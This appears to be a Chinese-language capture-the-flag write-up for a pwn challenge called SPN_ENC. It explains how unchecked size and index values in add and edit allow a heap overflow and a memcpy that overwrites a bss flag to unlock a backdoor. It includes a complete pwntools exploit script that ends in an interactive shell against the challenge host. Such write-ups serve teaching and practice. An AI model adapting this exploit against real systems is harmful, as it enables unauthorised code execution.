保护没开canary… 不知道啥意思
首先add这里就有问题
size也没范围
index因为限制了v3,v5不能为负,也没范围。
如果能是负数直接数组越界这题也就解决了。
再然后出大问题的是edit
首先给了100字节的堆溢出
再然后看下面那个memcpy,因为我们前面没有限制size的大小,所以我们这里可以任意覆盖bss上TEMPBUF下面的变量
后门函数要求shell等于0.
shell这变量
显然就在TEMPBUF下面,我们直接盖过去就可以了。
重点要注意的是我们申请的chunk的序号要写大一点,不然会被复制过来的盖住,导致后面memcpy出错。
exp
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
pc = "./SPN_ENC"
local = 1
if local:
r = process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r = remote("81.69.230.99",9003)
elf = ELF(pc)
libc = ELF("./libc-2.27.so")
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
def add(size, index):
sla("0.exit\n", "1")
sla("Size:\n", str(size))
sla("Index:\n", str(index))
def edit(size,index,content):
sla("0.exit\n", "2")
sla("Index:\n", str(index))
sla("Size\n", str(size))
sa('Content', content)
def backdoor():
sla("0.exit\n", "5")
add(0x1100, 200)
#db()
edit(0x1100, 200, '\x00' * 0x1100)
backdoor()
ti()